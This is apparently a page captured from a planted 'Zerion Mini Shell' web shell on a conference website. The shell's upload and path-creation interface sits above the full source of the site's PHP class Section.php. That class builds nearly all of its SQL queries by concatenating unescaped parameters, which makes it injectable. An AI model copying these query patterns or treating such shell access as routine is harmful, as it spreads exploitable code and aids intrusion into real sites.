%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/congress-pact1in5.eu/public_html/inc/classes/
Upload File :
Create Path :
Current File : /home/alliance/domains/congress-pact1in5.eu/public_html/inc/classes/Section.php

<?php

class Section extends Load {

	var $bd;
	var $language;

	function Section() {
		//constructor
		parent::Load();
		$this->bd = new BaseOps;
		$this->profil = new Profil;
		$this->language = new Lang;
	}
	
	// Liste des catégories
	function liste_categories($amicale = false) {
		if($amicale) $query = "SELECT * FROM `categorie` ORDER BY ordre";
		else $query = "SELECT * FROM `categorie` WHERE id != 11 ORDER BY ordre";
		$result = $this->bd->q($query);
		$nb = 0;
		while( $data = mysql_fetch_assoc($result)) {
			$query = "SELECT * FROM `categorie_lang` WHERE categorie = ".$data['id']." AND lang = ".$this->language->getlangid();
			$datalang = $this->bd->select_array($query);
			$res[$nb] = array (
				'id' =>  $data['id'],
				'ordre' =>  $data['ordre'],
				'type' => $data['type'],
				'couleur' => $data['couleur'],
				'titre' => $datalang['titre'],
				'ptititre' => $datalang['ptititre'],
				'permalien' => $datalang['permalien'] );
			$nb++;
		}
		return $res;
	}
	
	// Liste des catégories non uniques
	function liste_categories_norm() {
		$query = "SELECT * FROM `categorie` WHERE type = 1 ORDER BY ordre";
		$result = $this->bd->q($query);
		$nb = 0;
		while( $data = mysql_fetch_assoc($result)) {
			$query = "SELECT * FROM `categorie_lang` WHERE categorie = ".$data['id']." AND lang = ".$this->language->getlangid();
			$datalang = $this->bd->select_array($query);
			$res[$nb] = array (
				'id' =>  $data['id'],
				'ordre' =>  $data['ordre'],
				'type' => $data['type'],
				'couleur' => $data['couleur'],
				'titre' => $datalang['titre'],
				'ptititre' => $datalang['ptititre'],
				'permalien' => $datalang['permalien'] );
			$nb++;
		}
		return $res;
	}
	
	// Liste des sections d'une catégorie
	function liste_sections_cat($categorie) {
		$query = "SELECT * FROM `section` WHERE categorie = ".$categorie." ORDER BY ordre";
		if( $this->bd->isres($query) )
		{
			$result = $this->bd->q($query);
			$nb = 0;
			while( $data = mysql_fetch_assoc($result)) {
				$query = "SELECT * FROM `section_lang` WHERE section = ".$data['id']." AND lang = ".$this->language->getlangid();
				$datalang = $this->bd->select_array($query);
				$res[$nb] = array (
					'id' =>  $data['id'],
					'categorie' =>  $data['categorie'],
					'type' => $data['type'],
					'ordre' =>  $data['ordre'],
					'site' => $data['site'],
					'email' => $data['email'],
					'titre' => $datalang['titre'],
					'permalien' => $datalang['permalien'] );
				$nb++;
			}
			return $res;
		}
		else return null;
	}
	
	// La section d'une catégorie seule
	function section_cat_seule($categorie) {
		$query = "SELECT * FROM `section` WHERE categorie = ".$categorie;
		if( $this->bd->isres($query) )
		{
			$data = $this->bd->select_array($query);
			$query = "SELECT * FROM `section_lang` WHERE section = ".$data['id']." AND lang = ".$this->language->getlangid();
			$datalang = $this->bd->select_array($query);
			$res = array (
				'id' =>  $data['id'],
				'categorie' =>  $data['categorie'],
				'type' => $data['type'],
				'ordre' =>  $data['ordre'],
				'site' => $data['site'],
				'email' => $data['email'],
				'titre' => $datalang['titre'],
				'permalien' => $datalang['permalien'] );
			return $res;
		}
		else return null;
	}
	
	function liste_sections_all() {
		$query = "SELECT DISTINCT a.* FROM `section` a, `section_lang` b WHERE b.section = a.id ORDER BY b.titre";
		if( $this->bd->isres($query) )
		{
			$result = $this->bd->q($query);
			$nb = 0;
			while( $data = mysql_fetch_assoc($result)) {
				$query = "SELECT * FROM `section_lang` WHERE section = ".$data['id']." AND lang = ".$this->language->getlangid();
				$datalang = $this->bd->select_array($query);
				$res[$nb] = array (
					'id' =>  $data['id'],
					'categorie' =>  $data['categorie'],
					'type' => $data['type'],
					'ordre' =>  $data['ordre'],
					'site' => $data['site'],
					'email' => $data['email'],
					'titre' => $datalang['titre'],
					'permalien' => $datalang['permalien'] );
				$nb++;
			}
			return $res;
		}
		else return null;
	}
	
	// Liste des sections menu
	function liste_sections($template=false)
	{
		$query = "SELECT * FROM `categorie`";
		if(!$template) {
			$template = "section";
		}
		if($this->bd->isres($query))
		{
			$result = $this->liste_categories();
			foreach($result as $categorie) {
				// Toutes les categories
				
				if($this->section_seule($categorie['id']))
				{
					$section = $this->section_cat_seule($categorie['id']);
					//Affichage de la catégorie avec un lien vers la section
					$idsec = $section['id'];
					$site = $section['site'];
					$id = $categorie['id'];
					$permalien = $categorie['permalien'];
					$titre = $categorie['titre'];
					$ptititre = $categorie['ptititre'];
					$lang = $this->language->getlang();
					$couleur = $categorie['couleur'];
					$ordre = $categorie['ordre'];
					$type = 1;
					include('templates/'.$template.'/categorie.php');
					$catavant = $categorie['id'];
				}
				else {
					//Affichage de la catégorie
					$id = $categorie['id'];
					$titre = $categorie['titre'];
					$ptititre = $categorie['ptititre'];
					$lang = $this->language->getlang();
					$couleur = $categorie['couleur'];
					$ordre = $categorie['ordre'];
					$type = 2;
					include('templates/'.$template.'/categorie.php');
					$catavant = $categorie['id'];
					
					$result2 = $this->liste_sections_cat($categorie['id']);
					if($result2 != null)
					{
						echo "<ul id=\"section".$categorie['id']."\"  class=\"soussec\" style=\"background: #".$categorie['couleur'].";\">\n";
						foreach($result2 as $section) {
							// Toutes les categories
							$id = $section['id'];
							$permalien = $section['permalien'];
							$seccat = $section['categorie'];
							$titre = $section['titre'];
							$ordre = $section['ordre'];
							$lang = $this->language->getlang();
							include('templates/'.$template.'/liste.php');
							$secavant = $section['id'];
						}
						echo "</ul>\n";
					}
				}
			}
		}
		else {
			echo "<p>".$this->language->lg("noresults")."</p>";
		}
	}
	
	function section_seule($categorie) {
		$query = "SELECT type FROM `categorie` WHERE id = ".$categorie;
		$data = $this->bd->select_array($query);
		return $data['type'] == 0;
	}
	
	function couleur_section($section) {
		if($section == 0)
			return "f4f4f4";
		else {
			$query = "SELECT * FROM `section` WHERE id = ".$section;
			if($this->bd->isres($query))
			{
				$data = $this->bd->select_array($query);
				$pays = $data['pays'];
				$query = "SELECT * FROM `country` WHERE id = ".$pays;
				$data = $this->bd->select_array($query);
				return $data['couleur'];
			}
			else {
				return "fff";
			}
		}
	}
	
	// Afficher une section
	function aff_section($section) {
		$query = "SELECT * FROM `section` WHERE id = ".$section;
		if( $this->bd->isres($query) )
		{
			$data = $this->bd->select_array($query);
			$query = "SELECT * FROM `section_lang` WHERE section = ".$data['id']." AND lang = ".$this->language->getlangid();
			$datalang = $this->bd->select_array($query);
			$res = array (
				'id' =>  $data['id'],
				'categorie' =>  $data['categorie'],
				'pays' => $data['pays'],
				'site' => $data['site'],
				'titre' => $datalang['titre'],
				'permalien' => $datalang['permalien'] );
			return $res;
		}
		else return null;
	}
	
	// Afficher une categorie
	function aff_categorie($categorie) {
		$query = "SELECT * FROM `categorie` WHERE id = ".$categorie;
		if( $this->bd->isres($query) )
		{
			$data = $this->bd->select_array($query);
			$query = "SELECT * FROM `categorie_lang` WHERE categorie = ".$data['id']." AND lang = ".$this->language->getlangid();
			$datalang = $this->bd->select_array($query);
			$res = array (
				'id' =>  $data['id'],
				'type' => $data['type'],
				'ordre' =>  $data['ordre'],
				'couleur' =>  $data['couleur'],
				'titre' => $datalang['titre'],
				'ptititre' => $datalang['ptititre'],
				'permalien' => $datalang['permalien'] );
			return $res;
		}
		else return null;
	}
	
	function couleur_categorie($categorie) {
		$query = "SELECT * FROM `categorie` WHERE id = ".$categorie;
		$data = $this->bd->select_array($query);
		return $data['couleur'];
	}
	
	function titre_section($section)
	{
		$query = "SELECT `titre` FROM `section_lang` WHERE section = ".$section." AND lang = ".$this->language->getlangid();
		$data = $this->bd->select_array($query);
		return $data['titre'];
	}
	
	function actu_sec($actu)
	{
		$query = "SELECT * FROM `actu` WHERE id = ".$actu;
		$data = $this->bd->select_array($query);
		return $data['section'];
	}
	
	function page_sec($page)
	{
		$query = "SELECT * FROM `page` WHERE id = ".$page;
		$data = $this->bd->select_array($query);
		return $data['section'];
	}
	
	function bloc_sec($bloc)
	{
		$query = "SELECT * FROM `bloc` WHERE id = ".$bloc;
		$data = $this->bd->select_array($query);
		return $this->page_sec($data['page']);
	}

	function sec_user($user) {
		$query = "SELECT * FROM `user` WHERE id = ".$user;
		$data = $this->bd->select_array($query);
		return $data['section'];
	}
	
	function url_section($section) {
		$query = "SELECT `permalien` FROM `section_lang` WHERE section = ".$section." AND lang = ".$this->language->getlangid();
		$data = $this->bd->select_array($query);
		return $section."-".$data['permalien'];
	}
	
	function getAsso($id_pays,$edition,$lang){
		$query = "SELECT s.*,sl.titre,sl.texte,sl.permalien FROM `section_edition` se LEFT JOIN `section` s ON s.id=se.section LEFT JOIN `section_lang` sl ON s.id=sl.section WHERE s.pays = ".$id_pays." AND s.type = 3 AND se.valide=1 AND se.edition=".$edition." AND sl.lang=".$lang." ORDER by sl.titre";
		$data = $this->bd->select_arrays($query);
		return $data;
	}
	function getCol($id_pays,$edition,$lang){
		$query = "SELECT s.*,sl.titre,sl.texte,sl.permalien FROM `section_edition` se LEFT JOIN `section` s ON s.id=se.section LEFT JOIN `section_lang` sl ON s.id=sl.section WHERE s.pays = ".$id_pays." AND s.type = 1 AND se.valide=1 AND se.edition=".$edition." AND sl.lang=".$lang." ORDER by sl.titre";
		$data = $this->bd->select_arrays($query);
		return $data;
	}
	function getVil($id_pays,$edition,$lang){
		$query = "SELECT s.*,sl.titre,sl.texte,sl.permalien FROM `section_edition` se LEFT JOIN `section` s ON s.id=se.section LEFT JOIN `section_lang` sl ON s.id=sl.section WHERE s.pays = ".$id_pays." AND s.type = 2 AND se.valide=1 AND se.edition=".$edition." AND sl.lang=".$lang." ORDER by sl.titre";
		$data = $this->bd->select_arrays($query);
		return $data;
	}
	
	
	
	function getSection($id,$lang){
		$query = "SELECT s.*,sl.titre,sl.permalien,sl.texte FROM `section` s  LEFT JOIN `section_lang` sl ON s.id=sl.section WHERE s.id = ".$id." AND lang = ".$lang;
		$data = $this->bd->select_array($query);
		return $data;
	}
	
	function liste_section_pays($id_pays,$lang,$type="admin"){
		$query = "SELECT s.*,sl.titre FROM `section` s LEFT JOIN `section_lang` sl ON s.id=sl.section WHERE lang=".$lang." AND pays = ".$id_pays." ORDER BY `profil`,`titre`";
		$data = $this->bd->select_arrays($query);
		$html="";
		if($data!=null){
			foreach($data as $section) {
				$couleur=$this->profil->getCouleur($section['profil']);
				$html.='<li>
					<div style="background: #'.$couleur.';">
						<strong>'.$section['titre'].'</strong> ';
						
						$html.='
						&nbsp;<a href="admin/editer_section.php?id='.$section['id'].'">Voir le partenaire (panneau admin)</a>
						&nbsp;<a href="admin/suppr_section.php?id='.$section['id'].'&pays='.$id_pays.'">Supprimer le partenaire</a>
						
					</div>
				</li>';			
			}
		}
		return $html;
	}
	
	function isValid($section,$edition){
		$query="SELECT * FROM `section_edition` WHERE section=".$section." AND edition=".$edition." AND valide=1";
		$nb=$this->bd->count($query);
		if($nb>0){
			return true;
		}
		else{
			return false;
		}
	}
	
	function liste_section_edition($edition,$lang,$type="admin",$valide=null){
		if($valide==null){
			$query = "SELECT se.valide,s.*,sl.titre FROM `section_edition` se LEFT JOIN `section` s ON s.id=se.section LEFT JOIN `section_lang` sl ON s.id=sl.section WHERE se.edition=".$edition." AND lang=".$lang." ORDER BY `profil`,`titre`";
		}
		else{
			$query = "SELECT se.valide,s.*,sl.titre FROM `section_edition` se LEFT JOIN `section` s ON s.id=se.section LEFT JOIN `section_lang` sl ON s.id=sl.section WHERE se.edition=".$edition." AND lang=".$lang." AND se.valide=".$valide." ORDER BY `profil`,`titre`";
		}
		$data = $this->bd->select_arrays($query);
		$html="";
		if($data!=null){
			foreach($data as $section) {
				$couleur=$this->profil->getCouleur($section['profil']);
				$html.='<li>
					<div style="background: #'.$couleur.';">
						<strong>'.$section['titre'].'</strong> ';
						
						$html.='
						&nbsp;<a href="admin/editer_section.php?id='.$section['id'].'">Voir le partenaire (panneau admin)</a>';
						if($section['valide']==0){
							$html.='&nbsp;<a href="admin/valider_section.php?id='.$section['id'].'&edition='.$edition.'">Valider le partenaire</a>';
						}
						$html.='&nbsp;<a href="admin/suppr_section.php?id='.$section['id'].'&edition='.$edition.'">Supprimer le partenaire</a>
						
					</div>
				</li>';
			
			}
		}
		return $html;
	}

	function liste_section_tri($lang, $type="admin", $edition=null ,$valide=null, $profil=null, $pays=null,$keyword=""){
	
		$query = "SELECT se.valide,s.*,sl.titre,sl.permalien,sl.texte FROM `section_edition` se LEFT JOIN `section` s ON s.id=se.section LEFT JOIN `section_lang` sl ON s.id=sl.section ";
		$query.="WHERE sl.lang=".$lang." ";
		if($edition!=null || $valide!=null || $profil!=null || pays != null || $keyword!="")
		{
			if($edition!= null) {
				 $query.="AND se.edition=".$edition." ";
			}
			if($valide!=null) {
				if($valide == "invalid") $valide = 0;
				$query.="AND se.valide=".$valide." ";
			}
			if($profil!=null)
			{
				$query.="AND s.profil=".$profil." ";
			}
			if($pays!=null)
			{
				$query.="AND s.pays=".$pays." ";
			}
			if($keyword!="")
			{
				$query.="AND (sl.titre LIKE '%".$keyword."%' OR sl.texte LIKE '%".$keyword."%' )";
			}
		}
		$query.="ORDER BY `profil`,`titre`";
		$data = $this->bd->select_arrays($query);
		$html="";
		if($data!=null){
			if($type=="admin"){
				foreach($data as $section) {
					$couleur=$this->profil->getCouleur($section['profil']);
					$html.='<li>
						<div style="background: #'.$couleur.';">
							<strong>'.$section['titre'].'</strong> ';
							
							$html.='
							&nbsp;<a href="admin/editer_section.php?id='.$section['id'].'">Voir le partenaire (panneau admin)</a>';
							if($section['valide']==0){
								$html.='&nbsp;<a href="admin/valider_section.php?id='.$section['id'].'">Valider le partenaire</a>';
							}
							$html.='&nbsp;<a href="admin/suppr_section.php?id='.$section['id'].'" class="confirm">Supprimer le partenaire</a>
							
						</div>
					</li>';
				
				}
			}
			else{
				return $data;
			}
		}
		return $html;
	}
	
	function suppr_photo($actu, $num) {
		$query = "SELECT * FROM `actu` WHERE id =".$actu;
		$data = $this->bd->select_array($query);
		if($data['photo'.$num] != null && file_exists("uploads/".$data['photo'.$num]))
		{
			unlink("uploads/".$data['photo'.$num]);
		}
	}
	
	function recherche_section($lang, $pays=null,$keyword="",$categorie=null,$theme=null){
	
		// $query = "SELECT s.id,s.profil,sl.titre,sl.permalien FROM `section` s LEFT JOIN `section_lang` sl ON s.id=sl.section";
		// $query.="WHERE sl.lang=".$lang." ";
		// if($pays != null || $keyword!="")
		// {
			// if($pays!=null)
			// {
				// $query.="AND s.pays=".$pays." ";
			// }
			// if($keyword!="")
			// {
				// $query.="AND (sl.titre LIKE '%".$keyword."%' OR sl.texte LIKE '%".$keyword."%' )";
			// }
		// }
		// $query.="ORDER BY `titre`";
		// if($this->bd->isres($query)
		// {
			// $sections = $this->bd->select_arrays($query);
			// foreach ($sections as $section) {
				// $query = "SELECT * FROM `page` p LEFT JOIN `page_lang` pl ON p.id=pl.section LEFT JOIN `page_theme` t ON t.page = p.id";
				// $query.="WHERE pl.lang=".$lang." AND section = ".$section['id']." ";
				// if($categorie != null || $theme!="")
				// {
					// if($categorie!=null)
					// {
						// $query.="AND p.categorie=".$categorie." ";
					// }
					// if($theme!="")
					// {
						// $query.="AND t.theme=".$theme." ";
					// }
				// }
				// $query.="ORDER BY `titre`";
				// if($this->bd->isres($query)
				// {
					// $pages = $this->bd->select_arrays($query);
					// echo '<h3 class="acttitre bg_profil_'.$section['profil'].'"><a href="'.$lang->getlang().'/'.$section['id'].'-'.=$section['permalien'].'/">'.$section['titre'].'</a></h3>
					// <div class="bloctexte2">';
				// }
			// }
		// }
	}
}

?>

Zerion Mini Shell 1.0